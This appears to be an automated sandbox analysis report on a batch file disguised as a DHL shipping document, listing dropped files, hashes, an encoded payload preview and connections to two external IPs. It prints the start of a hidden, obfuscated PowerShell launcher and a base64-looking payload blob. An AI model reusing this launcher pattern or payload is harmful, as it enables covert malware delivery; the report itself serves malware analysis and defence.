MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_swyuor0u.rdj.ps1

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms (copy)

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	6221
Entropy (8bit):	3.7360410460421316
Encrypted:	false
SSDEEP:	48:ZcNMccLPr3C4U28IjPukvhkvklCywCgmdd6xDlR4SogZoL096xDl44SogZoLg1:eZc33CxHIakvhkvCCtE6xDZHz6xD6Hn
MD5:	82DD9C04BA4E66C88E3786F6161829F4
SHA1:	D9C8D518DB4DE42D7472F11C8A6826ADA9B42E5A
SHA-256:	8372739C05818C3143FC820B00D145A5D9656F78946BACAE042E62D6F710F281
SHA-512:	0EA19C3A1A501CB29BF92FB30DC277C1B5C0DAB6160A558E56E409269BFA12FD48150AB249FF68E9323DCD24CFF5B8EE3D19112AB507B8E458E982CB1532C92D
Malicious:	false
Preview:	...................................FL..................F.".. ...-/.v....k.%.....z.:{.............................:..DG..Yr?.D..U..k0.&...&......vk.v....94......E.,.........t...CFSF..1.....CW.^..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......CW.^.X.\|...........................%..A.p.p.D.a.t.a...B.V.1......X.\|..Roaming.@......CW.^.X.\|..............................R.o.a.m.i.n.g.....\.1.....DW.N..MICROS~1..D......CW.^.X.\|..........................9D..M.i.c.r.o.s.o.f.t.....V.1.....DWQ`..Windows.@......CW.^DWQ`..............................W.i.n.d.o.w.s.......1.....CW.^..STARTM~1..n......CW.^DW.`....................D.....=X..S.t.a.r.t. .M.e.n.u...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.6.......1.....DW.N..Programs..j......CW.^DW.`....................@.........P.r.o.g.r.a.m.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.2.....n.1......O.K..WINDOW~1..V......CW.^DW.`..........................d...W.i.n.d.o.w.s. .P.o.w.e.r.S.h.e.l.l.....z.2......O.I .WINDOW~1.LNK..^......CW.^.X.\|....Q...........

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\5ONL2C4HZZVOYYRG42YX.temp

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	6221
Entropy (8bit):	3.7360410460421316
Encrypted:	false
SSDEEP:	48:ZcNMccLPr3C4U28IjPukvhkvklCywCgmdd6xDlR4SogZoL096xDl44SogZoLg1:eZc33CxHIakvhkvCCtE6xDZHz6xD6Hn
MD5:	82DD9C04BA4E66C88E3786F6161829F4
SHA1:	D9C8D518DB4DE42D7472F11C8A6826ADA9B42E5A
SHA-256:	8372739C05818C3143FC820B00D145A5D9656F78946BACAE042E62D6F710F281
SHA-512:	0EA19C3A1A501CB29BF92FB30DC277C1B5C0DAB6160A558E56E409269BFA12FD48150AB249FF68E9323DCD24CFF5B8EE3D19112AB507B8E458E982CB1532C92D
Malicious:	false
Preview:	...................................FL..................F.".. ...-/.v....k.%.....z.:{.............................:..DG..Yr?.D..U..k0.&...&......vk.v....94......E.,.........t...CFSF..1.....CW.^..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......CW.^.X.\|...........................%..A.p.p.D.a.t.a...B.V.1......X.\|..Roaming.@......CW.^.X.\|..............................R.o.a.m.i.n.g.....\.1.....DW.N..MICROS~1..D......CW.^.X.\|..........................9D..M.i.c.r.o.s.o.f.t.....V.1.....DWQ`..Windows.@......CW.^DWQ`..............................W.i.n.d.o.w.s.......1.....CW.^..STARTM~1..n......CW.^DW.`....................D.....=X..S.t.a.r.t. .M.e.n.u...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.6.......1.....DW.N..Programs..j......CW.^DW.`....................@.........P.r.o.g.r.a.m.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.2.....n.1......O.K..WINDOW~1..V......CW.^DW.`..........................d...W.i.n.d.o.w.s. .P.o.w.e.r.S.h.e.l.l.....z.2......O.I .WINDOW~1.LNK..^......CW.^.X.\|....Q...........

C:\Users\user\AppData\Roaming\Nedprioriterende200.Sig

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with very long lines (65536), with no line terminators
Category:	dropped
Size (bytes):	483164
Entropy (8bit):	5.955312288027208
Encrypted:	false
SSDEEP:	6144:2AKs41fNGidkTmO7uS/e57DM5IEcFw9lVM2DwYBgOUzMVX7odatKpfSrv+B+l+4V:E1F9h2GBwyTtfeSpCq8mRppe
MD5:	1677E735A9686765F8679AED9CFED513
SHA1:	B3CD1EEB26E53BBC721E9A7CE43B5C42B50A70E8
SHA-256:	67F3E09EF042703FE0741BDDC9BA1614ECC1DE6BA22901386161C284287670CB
SHA-512:	EBD107C73DDFA92F39736DA5A2BF982543DD6CB6FBF52A0CF297AA92373A2747E160C5581B1397162F175A2EEC01A15A09CD337DA61CE7667BB51A8523276FF1
Malicious:	false
Preview:	cQGb6wJqrbsDoBkA6wJ2a3EBmwNcJARxAZvrAnEIuUoWw3RxAZtxAZuB8RrQ0dbrAr7XcQGbgelQxhKi6wLRzHEBm+sCrdFxAZu6wpp3qesCC3brAjHQ6wKf+XEBmzHKcQGbcQGbiRQL6wJPHnEBm9HicQGbcQGbg8EEcQGbcQGbgfm9glQFfM5xAZvrAhgii0QkBHEBm+sCPgSJw+sC5FNxAZuBw5SbJAVxAZvrAmAhusVHLVBxAZtxAZuB8lpwFmBxAZtxAZuB6p83OzDrAvKx6wKu1nEBm+sCgs9xAZtxAZuLDBBxAZtxAZuJDBPrAjoWcQGbQusCla5xAZuB+nwXBQB11+sCQYdxAZuJXCQMcQGbcQGbge0AAwAAcQGb6wJfTotUJAjrAowl6wJpPIt8JARxAZvrAoVuietxAZtxAZuBw5wAAABxAZvrAoB8U3EBm3EBm2pAcQGbcQGbievrAsWp6wIQG8eDAAEAAAAwcQXrAhescQGbgcMAAQAAcQGb6wI0TVNxAZtxAZuJ6+sCTIrrAmH3ibsEAQAAcQGbcQGbgcMEAQAA6wKhuXEBm1NxAZtxAZtq/+sCKmvrAicVg8IF6wIffHEBmzH2cQGb6wKuujHJ6wIorHEBm4sa6wLMwXEBm0FxAZtxAZs5HAp19HEBm3EBm0brAu5ocQGbgHwK+7h133EBm+sCpjWLRAr86wKIlnEBmynwcQGb6wJL3//S6wLDOesC4IC6fBcFAHEBm3EBmzHAcQGb6wIDbot8JAzrAoS36wKyeIE0B8yCNA7rAp8ZcQGbg8AE6wKA6usCJUI50HXj6wKgYOsCJkGJ+3EBm+sC6uH/1+sCjHhxAZswC9GPIHvLBcwD8PcwiTRbRWeN2XtFSI896JWnqAPd9hDSDo8lLw0TEgf/yYiPNGK/bwWPiI80e41jL4+gjzRx1E85igwDWAPM4KgPjOQN3kU/XwzMgotVqOTINwYDw8nDUXOPO82jLbsC

Static File Info

General

File type:	ASCII text, with very long lines (6499), with no line terminators
Entropy (8bit):	5.298423304882913
TrID:
File name:	rDHL_PT563857935689275783656385FV-GDS3535353.bat
File size:	6'499 bytes
MD5:	60186cd9a2e82835bc143c1fb4662b7e
SHA1:	880c7f14743f9759b30bcc28085949122f54c20e
SHA256:	b66081b0e5dfe21e03d1043700d7c05e65bda96ad33a6370c374217d5ae84405
SHA512:	98ca66c502178601cf1d568fb4b5ef122564f548eae2c82c9979207ea69398212f2b35571f3cc0696ec9edb70174a016c00ddd12fc26140d63196188e6f0f8b7
SSDEEP:	192:jOJVeUYLAKLt+IS0y+80TJco4Ga5y0p8te:QeAKZZS280FL3aw0aE
TLSH:	40D16D29DFD28F944ED353916C8A9F4B3F5C382E4E84A925FD8902C5A031C3237DD698
File Content Preview:	start /min powershell.exe -windowstyle hidden "write 'Reactualizations rentvisten Exploder gawkihood urtesupper Indstrmme Guitars147 Acuity Trvaren Talefrihed Aktivitetspdagogikker Ubehjlpsommes Moutler Croise178 Mandigt Blindtarmsoperation Laeder titre B

File Icon


Icon Hash:	9686878b929a9886

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jul 15, 2024 17:37:01.454257965 CEST	49730	443	192.168.2.4	103.211.216.55
Jul 15, 2024 17:37:01.454288006 CEST	443	49730	103.211.216.55	192.168.2.4
Jul 15, 2024 17:37:01.454370975 CEST	49730	443	192.168.2.4	103.211.216.55
Jul 15, 2024 17:37:01.461488962 CEST	49730	443	192.168.2.4	103.211.216.55
Jul 15, 2024 17:37:01.461505890 CEST	443	49730	103.211.216.55	192.168.2.4
Jul 15, 2024 17:37:02.431796074 CEST	443	49730	103.211.216.55	192.168.2.4
Jul 15, 2024 17:37:02.431864977 CEST	49730	443	192.168.2.4	103.211.216.55
Jul 15, 2024 17:37:02.435523033 CEST	49730	443	192.168.2.4	103.211.216.55
Jul 15, 2024 17:37:02.435533047 CEST	443	49730	103.211.216.55	192.168.2.4
Jul 15, 2024 17:37:02.435861111 CEST	443	49730	103.211.216.55	192.168.2.4
Jul 15, 2024 17:37:02.447546005 CEST	49730	443	192.168.2.4	103.211.216.55
Jul 15, 2024 17:37:02.492532015 CEST	443	49730	103.211.216.55	192.168.2.4
Jul 15, 2024 17:37:03.026375055 CEST	443	49730	103.211.216.55	192.168.2.4
Jul 15, 2024 17:37:03.026446104 CEST	443	49730	103.211.216.55	192.168.2.4
Jul 15, 2024 17:37:03.026508093 CEST	49730	443	192.168.2.4	103.211.216.55
Jul 15, 2024 17:37:03.026530981 CEST	443	49730	103.211.216.55	192.168.2.4
Jul 15, 2024 17:37:03.080496073 CEST	49730	443	192.168.2.4	103.211.216.55
Jul 15, 2024 17:37:03.274068117 CEST	443	49730	103.211.216.55	192.168.2.4
Jul 15, 2024 17:37:03.274101019 CEST	443	49730	103.211.216.55	192.168.2.4
Jul 15, 2024 17:37:03.274230957 CEST	443	49730	103.211.216.55	192.168.2.4
Jul 15, 2024 17:37:03.274252892 CEST	443	49730	103.211.216.55	192.168.2.4
Jul 15, 2024 17:37:03.274657965 CEST	49730	443	192.168.2.4	103.211.216.55
Jul 15, 2024 17:37:03.274682045 CEST	443	49730	103.211.216.55	192.168.2.4
Jul 15, 2024 17:37:03.274955034 CEST	49730	443	192.168.2.4	103.211.216.55
Jul 15, 2024 17:37:03.275113106 CEST	443	49730	103.211.216.55	192.168.2.4
Jul 15, 2024 17:37:03.275579929 CEST	49730	443	192.168.2.4	103.211.216.55
Jul 15, 2024 17:37:03.276112080 CEST	443	49730	103.211.216.55	192.168.2.4
Jul 15, 2024 17:37:03.276201963 CEST	49730	443	192.168.2.4	103.211.216.55
Jul 15, 2024 17:37:03.528076887 CEST	443	49730	103.211.216.55	192.168.2.4
Jul 15, 2024 17:37:03.528096914 CEST	443	49730	103.211.216.55	192.168.2.4
Jul 15, 2024 17:37:03.528321981 CEST	443	49730	103.211.216.55	192.168.2.4
Jul 15, 2024 17:37:03.528512001 CEST	49730	443	192.168.2.4	103.211.216.55
Jul 15, 2024 17:37:03.528536081 CEST	443	49730	103.211.216.55	192.168.2.4
Jul 15, 2024 17:37:03.528709888 CEST	49730	443	192.168.2.4	103.211.216.55
Jul 15, 2024 17:37:03.528709888 CEST	49730	443	192.168.2.4	103.211.216.55
Jul 15, 2024 17:37:03.529431105 CEST	443	49730	103.211.216.55	192.168.2.4
Jul 15, 2024 17:37:03.529808998 CEST	49730	443	192.168.2.4	103.211.216.55
Jul 15, 2024 17:37:03.530256033 CEST	443	49730	103.211.216.55	192.168.2.4
Jul 15, 2024 17:37:03.530332088 CEST	49730	443	192.168.2.4	103.211.216.55
Jul 15, 2024 17:37:03.539683104 CEST	443	49730	103.211.216.55	192.168.2.4
Jul 15, 2024 17:37:03.539799929 CEST	443	49730	103.211.216.55	192.168.2.4
Jul 15, 2024 17:37:03.539880991 CEST	443	49730	103.211.216.55	192.168.2.4
Jul 15, 2024 17:37:03.539901972 CEST	49730	443	192.168.2.4	103.211.216.55
Jul 15, 2024 17:37:03.539901972 CEST	49730	443	192.168.2.4	103.211.216.55
Jul 15, 2024 17:37:03.539922953 CEST	443	49730	103.211.216.55	192.168.2.4
Jul 15, 2024 17:37:03.539954901 CEST	49730	443	192.168.2.4	103.211.216.55
Jul 15, 2024 17:37:03.560579062 CEST	443	49730	103.211.216.55	192.168.2.4
Jul 15, 2024 17:37:03.560661077 CEST	49730	443	192.168.2.4	103.211.216.55
Jul 15, 2024 17:37:03.560668945 CEST	443	49730	103.211.216.55	192.168.2.4
Jul 15, 2024 17:37:03.611654043 CEST	49730	443	192.168.2.4	103.211.216.55
Jul 15, 2024 17:37:03.768659115 CEST	443	49730	103.211.216.55	192.168.2.4
Jul 15, 2024 17:37:03.768784046 CEST	443	49730	103.211.216.55	192.168.2.4
Jul 15, 2024 17:37:03.768858910 CEST	49730	443	192.168.2.4	103.211.216.55
Jul 15, 2024 17:37:03.768882990 CEST	443	49730	103.211.216.55	192.168.2.4
Jul 15, 2024 17:37:03.768901110 CEST	49730	443	192.168.2.4	103.211.216.55
Jul 15, 2024 17:37:03.768929958 CEST	49730	443	192.168.2.4	103.211.216.55
Jul 15, 2024 17:37:03.769686937 CEST	443	49730	103.211.216.55	192.168.2.4
Jul 15, 2024 17:37:03.769762039 CEST	49730	443	192.168.2.4	103.211.216.55
Jul 15, 2024 17:37:03.770410061 CEST	443	49730	103.211.216.55	192.168.2.4
Jul 15, 2024 17:37:03.770489931 CEST	49730	443	192.168.2.4	103.211.216.55
Jul 15, 2024 17:37:03.774246931 CEST	443	49730	103.211.216.55	192.168.2.4
Jul 15, 2024 17:37:03.774317026 CEST	49730	443	192.168.2.4	103.211.216.55
Jul 15, 2024 17:37:03.774386883 CEST	443	49730	103.211.216.55	192.168.2.4
Jul 15, 2024 17:37:03.774452925 CEST	49730	443	192.168.2.4	103.211.216.55
Jul 15, 2024 17:37:03.774930954 CEST	443	49730	103.211.216.55	192.168.2.4
Jul 15, 2024 17:37:03.774993896 CEST	49730	443	192.168.2.4	103.211.216.55
Jul 15, 2024 17:37:03.775433064 CEST	443	49730	103.211.216.55	192.168.2.4
Jul 15, 2024 17:37:03.775500059 CEST	49730	443	192.168.2.4	103.211.216.55
Jul 15, 2024 17:37:03.775697947 CEST	443	49730	103.211.216.55	192.168.2.4
Jul 15, 2024 17:37:03.775763035 CEST	49730	443	192.168.2.4	103.211.216.55
Jul 15, 2024 17:37:03.776746035 CEST	443	49730	103.211.216.55	192.168.2.4
Jul 15, 2024 17:37:03.776808023 CEST	49730	443	192.168.2.4	103.211.216.55
Jul 15, 2024 17:37:03.859014034 CEST	443	49730	103.211.216.55	192.168.2.4
Jul 15, 2024 17:37:03.859153986 CEST	443	49730	103.211.216.55	192.168.2.4
Jul 15, 2024 17:37:03.859292984 CEST	49730	443	192.168.2.4	103.211.216.55
Jul 15, 2024 17:37:03.859292984 CEST	49730	443	192.168.2.4	103.211.216.55
Jul 15, 2024 17:37:03.859317064 CEST	443	49730	103.211.216.55	192.168.2.4
Jul 15, 2024 17:37:03.859365940 CEST	49730	443	192.168.2.4	103.211.216.55
Jul 15, 2024 17:37:03.859813929 CEST	443	49730	103.211.216.55	192.168.2.4
Jul 15, 2024 17:37:03.859889030 CEST	49730	443	192.168.2.4	103.211.216.55
Jul 15, 2024 17:37:03.859961987 CEST	443	49730	103.211.216.55	192.168.2.4
Jul 15, 2024 17:37:03.860028028 CEST	49730	443	192.168.2.4	103.211.216.55
Jul 15, 2024 17:37:03.860738039 CEST	443	49730	103.211.216.55	192.168.2.4
Jul 15, 2024 17:37:03.860810995 CEST	49730	443	192.168.2.4	103.211.216.55
Jul 15, 2024 17:37:03.860866070 CEST	443	49730	103.211.216.55	192.168.2.4
Jul 15, 2024 17:37:03.860929966 CEST	49730	443	192.168.2.4	103.211.216.55
Jul 15, 2024 17:37:04.025629044 CEST	443	49730	103.211.216.55	192.168.2.4
Jul 15, 2024 17:37:04.025697947 CEST	443	49730	103.211.216.55	192.168.2.4
Jul 15, 2024 17:37:04.025904894 CEST	49730	443	192.168.2.4	103.211.216.55
Jul 15, 2024 17:37:04.025924921 CEST	443	49730	103.211.216.55	192.168.2.4
Jul 15, 2024 17:37:04.025985003 CEST	49730	443	192.168.2.4	103.211.216.55
Jul 15, 2024 17:37:04.026007891 CEST	443	49730	103.211.216.55	192.168.2.4
Jul 15, 2024 17:37:04.026083946 CEST	49730	443	192.168.2.4	103.211.216.55
Jul 15, 2024 17:37:04.026648998 CEST	443	49730	103.211.216.55	192.168.2.4
Jul 15, 2024 17:37:04.026727915 CEST	49730	443	192.168.2.4	103.211.216.55
Jul 15, 2024 17:37:04.027379990 CEST	443	49730	103.211.216.55	192.168.2.4
Jul 15, 2024 17:37:04.027457952 CEST	49730	443	192.168.2.4	103.211.216.55
Jul 15, 2024 17:37:04.027574062 CEST	443	49730	103.211.216.55	192.168.2.4
Jul 15, 2024 17:37:04.027647018 CEST	49730	443	192.168.2.4	103.211.216.55
Jul 15, 2024 17:37:04.028207064 CEST	443	49730	103.211.216.55	192.168.2.4
Jul 15, 2024 17:37:04.028278112 CEST	49730	443	192.168.2.4	103.211.216.55
Jul 15, 2024 17:37:04.028409958 CEST	443	49730	103.211.216.55	192.168.2.4
Jul 15, 2024 17:37:04.028467894 CEST	49730	443	192.168.2.4	103.211.216.55
Jul 15, 2024 17:37:04.029051065 CEST	443	49730	103.211.216.55	192.168.2.4
Jul 15, 2024 17:37:04.029113054 CEST	49730	443	192.168.2.4	103.211.216.55
Jul 15, 2024 17:37:04.031404972 CEST	443	49730	103.211.216.55	192.168.2.4
Jul 15, 2024 17:37:04.031482935 CEST	49730	443	192.168.2.4	103.211.216.55
Jul 15, 2024 17:37:04.031781912 CEST	443	49730	103.211.216.55	192.168.2.4
Jul 15, 2024 17:37:04.031847954 CEST	49730	443	192.168.2.4	103.211.216.55
Jul 15, 2024 17:37:04.032182932 CEST	443	49730	103.211.216.55	192.168.2.4
Jul 15, 2024 17:37:04.032253981 CEST	49730	443	192.168.2.4	103.211.216.55
Jul 15, 2024 17:37:04.034580946 CEST	443	49730	103.211.216.55	192.168.2.4
Jul 15, 2024 17:37:04.034661055 CEST	49730	443	192.168.2.4	103.211.216.55
Jul 15, 2024 17:37:04.034939051 CEST	443	49730	103.211.216.55	192.168.2.4
Jul 15, 2024 17:37:04.035002947 CEST	49730	443	192.168.2.4	103.211.216.55
Jul 15, 2024 17:37:04.035357952 CEST	443	49730	103.211.216.55	192.168.2.4
Jul 15, 2024 17:37:04.035420895 CEST	49730	443	192.168.2.4	103.211.216.55
Jul 15, 2024 17:37:04.035870075 CEST	443	49730	103.211.216.55	192.168.2.4
Jul 15, 2024 17:37:04.035936117 CEST	49730	443	192.168.2.4	103.211.216.55
Jul 15, 2024 17:37:04.036021948 CEST	443	49730	103.211.216.55	192.168.2.4
Jul 15, 2024 17:37:04.036081076 CEST	49730	443	192.168.2.4	103.211.216.55
Jul 15, 2024 17:37:04.105695009 CEST	443	49730	103.211.216.55	192.168.2.4
Jul 15, 2024 17:37:04.105928898 CEST	443	49730	103.211.216.55	192.168.2.4
Jul 15, 2024 17:37:04.105978966 CEST	443	49730	103.211.216.55	192.168.2.4
Jul 15, 2024 17:37:04.106046915 CEST	49730	443	192.168.2.4	103.211.216.55
Jul 15, 2024 17:37:04.106046915 CEST	49730	443	192.168.2.4	103.211.216.55
Jul 15, 2024 17:37:04.106046915 CEST	49730	443	192.168.2.4	103.211.216.55
Jul 15, 2024 17:37:04.106070042 CEST	443	49730	103.211.216.55	192.168.2.4
Jul 15, 2024 17:37:04.106117964 CEST	443	49730	103.211.216.55	192.168.2.4
Jul 15, 2024 17:37:04.106182098 CEST	49730	443	192.168.2.4	103.211.216.55
Jul 15, 2024 17:37:04.106190920 CEST	443	49730	103.211.216.55	192.168.2.4
Jul 15, 2024 17:37:04.106672049 CEST	443	49730	103.211.216.55	192.168.2.4
Jul 15, 2024 17:37:04.106749058 CEST	49730	443	192.168.2.4	103.211.216.55
Jul 15, 2024 17:37:04.106755972 CEST	443	49730	103.211.216.55	192.168.2.4
Jul 15, 2024 17:37:04.107172966 CEST	443	49730	103.211.216.55	192.168.2.4
Jul 15, 2024 17:37:04.107240915 CEST	49730	443	192.168.2.4	103.211.216.55
Jul 15, 2024 17:37:04.107249022 CEST	443	49730	103.211.216.55	192.168.2.4
Jul 15, 2024 17:37:04.107923985 CEST	443	49730	103.211.216.55	192.168.2.4
Jul 15, 2024 17:37:04.107991934 CEST	49730	443	192.168.2.4	103.211.216.55
Jul 15, 2024 17:37:04.108000040 CEST	443	49730	103.211.216.55	192.168.2.4
Jul 15, 2024 17:37:04.108021021 CEST	443	49730	103.211.216.55	192.168.2.4
Jul 15, 2024 17:37:04.108082056 CEST	49730	443	192.168.2.4	103.211.216.55
Jul 15, 2024 17:37:04.108088970 CEST	443	49730	103.211.216.55	192.168.2.4
Jul 15, 2024 17:37:04.108705044 CEST	443	49730	103.211.216.55	192.168.2.4
Jul 15, 2024 17:37:04.108772993 CEST	49730	443	192.168.2.4	103.211.216.55
Jul 15, 2024 17:37:04.108783007 CEST	443	49730	103.211.216.55	192.168.2.4
Jul 15, 2024 17:37:04.108814955 CEST	443	49730	103.211.216.55	192.168.2.4
Jul 15, 2024 17:37:04.108871937 CEST	49730	443	192.168.2.4	103.211.216.55
Jul 15, 2024 17:37:04.108879089 CEST	443	49730	103.211.216.55	192.168.2.4
Jul 15, 2024 17:37:04.109607935 CEST	443	49730	103.211.216.55	192.168.2.4
Jul 15, 2024 17:37:04.109668016 CEST	49730	443	192.168.2.4	103.211.216.55
Jul 15, 2024 17:37:04.109675884 CEST	443	49730	103.211.216.55	192.168.2.4
Jul 15, 2024 17:37:04.110409975 CEST	443	49730	103.211.216.55	192.168.2.4
Jul 15, 2024 17:37:04.110482931 CEST	49730	443	192.168.2.4	103.211.216.55
Jul 15, 2024 17:37:04.110488892 CEST	443	49730	103.211.216.55	192.168.2.4
Jul 15, 2024 17:37:04.110552073 CEST	443	49730	103.211.216.55	192.168.2.4
Jul 15, 2024 17:37:04.110614061 CEST	49730	443	192.168.2.4	103.211.216.55
Jul 15, 2024 17:37:04.110621929 CEST	443	49730	103.211.216.55	192.168.2.4
Jul 15, 2024 17:37:04.111203909 CEST	443	49730	103.211.216.55	192.168.2.4
Jul 15, 2024 17:37:04.111274958 CEST	49730	443	192.168.2.4	103.211.216.55
Jul 15, 2024 17:37:04.111282110 CEST	443	49730	103.211.216.55	192.168.2.4
Jul 15, 2024 17:37:04.111303091 CEST	443	49730	103.211.216.55	192.168.2.4
Jul 15, 2024 17:37:04.111375093 CEST	49730	443	192.168.2.4	103.211.216.55
Jul 15, 2024 17:37:04.111386061 CEST	443	49730	103.211.216.55	192.168.2.4
Jul 15, 2024 17:37:04.111424923 CEST	49730	443	192.168.2.4	103.211.216.55
Jul 15, 2024 17:37:04.111459017 CEST	443	49730	103.211.216.55	192.168.2.4
Jul 15, 2024 17:37:04.111510038 CEST	49730	443	192.168.2.4	103.211.216.55
Jul 15, 2024 17:37:04.115969896 CEST	49730	443	192.168.2.4	103.211.216.55
Jul 15, 2024 17:37:45.422970057 CEST	49737	443	192.168.2.4	185.83.114.124
Jul 15, 2024 17:37:45.423022985 CEST	443	49737	185.83.114.124	192.168.2.4
Jul 15, 2024 17:37:45.423156023 CEST	49737	443	192.168.2.4	185.83.114.124
Jul 15, 2024 17:37:45.465473890 CEST	49737	443	192.168.2.4	185.83.114.124
Jul 15, 2024 17:37:45.465519905 CEST	443	49737	185.83.114.124	192.168.2.4
Jul 15, 2024 17:37:55.387281895 CEST	443	49737	185.83.114.124	192.168.2.4
Jul 15, 2024 17:37:55.387516022 CEST	49737	443	192.168.2.4	185.83.114.124
Jul 15, 2024 17:37:55.446934938 CEST	49737	443	192.168.2.4	185.83.114.124
Jul 15, 2024 17:37:55.446975946 CEST	443	49737	185.83.114.124	192.168.2.4
Jul 15, 2024 17:37:55.447874069 CEST	443	49737	185.83.114.124	192.168.2.4
Jul 15, 2024 17:37:55.447964907 CEST	49737	443	192.168.2.4	185.83.114.124
Jul 15, 2024 17:37:55.451622009 CEST	49737	443	192.168.2.4	185.83.114.124
Jul 15, 2024 17:37:55.496499062 CEST	443	49737	185.83.114.124	192.168.2.4
Jul 15, 2024 17:37:55.809861898 CEST	443	49737	185.83.114.124	192.168.2.4
Jul 15, 2024 17:37:55.809926033 CEST	443	49737	185.83.114.124	192.168.2.4
Jul 15, 2024 17:37:55.810059071 CEST	49737	443	192.168.2.4	185.83.114.124
Jul 15, 2024 17:37:55.810059071 CEST	49737	443	192.168.2.4	185.83.114.124
Jul 15, 2024 17:37:55.810079098 CEST	443	49737	185.83.114.124	192.168.2.4
Jul 15, 2024 17:37:55.810188055 CEST	49737	443	192.168.2.4	185.83.114.124
Jul 15, 2024 17:37:55.979829073 CEST	443	49737	185.83.114.124	192.168.2.4
Jul 15, 2024 17:37:55.979916096 CEST	49737	443	192.168.2.4	185.83.114.124
Jul 15, 2024 17:37:55.980263948 CEST	443	49737	185.83.114.124	192.168.2.4
Jul 15, 2024 17:37:55.980348110 CEST	49737	443	192.168.2.4	185.83.114.124
Jul 15, 2024 17:37:55.981096983 CEST	443	49737	185.83.114.124	192.168.2.4
Jul 15, 2024 17:37:55.981168032 CEST	49737	443	192.168.2.4	185.83.114.124
Jul 15, 2024 17:37:56.032140017 CEST	443	49737	185.83.114.124	192.168.2.4
Jul 15, 2024 17:37:56.032238960 CEST	49737	443	192.168.2.4	185.83.114.124
Jul 15, 2024 17:37:56.155885935 CEST	443	49737	185.83.114.124	192.168.2.4
Jul 15, 2024 17:37:56.156024933 CEST	443	49737	185.83.114.124	192.168.2.4
Jul 15, 2024 17:37:56.156181097 CEST	49737	443	192.168.2.4	185.83.114.124
Jul 15, 2024 17:37:56.156200886 CEST	443	49737	185.83.114.124	192.168.2.4
Jul 15, 2024 17:37:56.156255960 CEST	49737	443	192.168.2.4	185.83.114.124
Jul 15, 2024 17:37:56.156630993 CEST	443	49737	185.83.114.124	192.168.2.4
Jul 15, 2024 17:37:56.156708956 CEST	49737	443	192.168.2.4	185.83.114.124
Jul 15, 2024 17:37:56.157309055 CEST	443	49737	185.83.114.124	192.168.2.4
Jul 15, 2024 17:37:56.157388926 CEST	49737	443	192.168.2.4	185.83.114.124
Jul 15, 2024 17:37:56.158117056 CEST	443	49737	185.83.114.124	192.168.2.4
Jul 15, 2024 17:37:56.158180952 CEST	49737	443	192.168.2.4	185.83.114.124
Jul 15, 2024 17:37:56.158945084 CEST	443	49737	185.83.114.124	192.168.2.4
Jul 15, 2024 17:37:56.159015894 CEST	49737	443	192.168.2.4	185.83.114.124
Jul 15, 2024 17:37:56.202478886 CEST	443	49737	185.83.114.124	192.168.2.4
Jul 15, 2024 17:37:56.202588081 CEST	49737	443	192.168.2.4	185.83.114.124
Jul 15, 2024 17:37:56.202959061 CEST	443	49737	185.83.114.124	192.168.2.4
Jul 15, 2024 17:37:56.203053951 CEST	49737	443	192.168.2.4	185.83.114.124
Jul 15, 2024 17:37:56.325731039 CEST	443	49737	185.83.114.124	192.168.2.4
Jul 15, 2024 17:37:56.325819969 CEST	49737	443	192.168.2.4	185.83.114.124
Jul 15, 2024 17:37:56.326303959 CEST	443	49737	185.83.114.124	192.168.2.4
Jul 15, 2024 17:37:56.326370955 CEST	49737	443	192.168.2.4	185.83.114.124
Jul 15, 2024 17:37:56.326541901 CEST	443	49737	185.83.114.124	192.168.2.4
Jul 15, 2024 17:37:56.326607943 CEST	49737	443	192.168.2.4	185.83.114.124
Jul 15, 2024 17:37:56.327231884 CEST	443	49737	185.83.114.124	192.168.2.4
Jul 15, 2024 17:37:56.327297926 CEST	49737	443	192.168.2.4	185.83.114.124
Jul 15, 2024 17:37:56.327837944 CEST	443	49737	185.83.114.124	192.168.2.4
Jul 15, 2024 17:37:56.327903032 CEST	49737	443	192.168.2.4	185.83.114.124
Jul 15, 2024 17:37:56.328105927 CEST	443	49737	185.83.114.124	192.168.2.4
Jul 15, 2024 17:37:56.328171968 CEST	49737	443	192.168.2.4	185.83.114.124
Jul 15, 2024 17:37:56.328804970 CEST	443	49737	185.83.114.124	192.168.2.4
Jul 15, 2024 17:37:56.328917980 CEST	49737	443	192.168.2.4	185.83.114.124
Jul 15, 2024 17:37:56.329438925 CEST	443	49737	185.83.114.124	192.168.2.4
Jul 15, 2024 17:37:56.329499960 CEST	49737	443	192.168.2.4	185.83.114.124
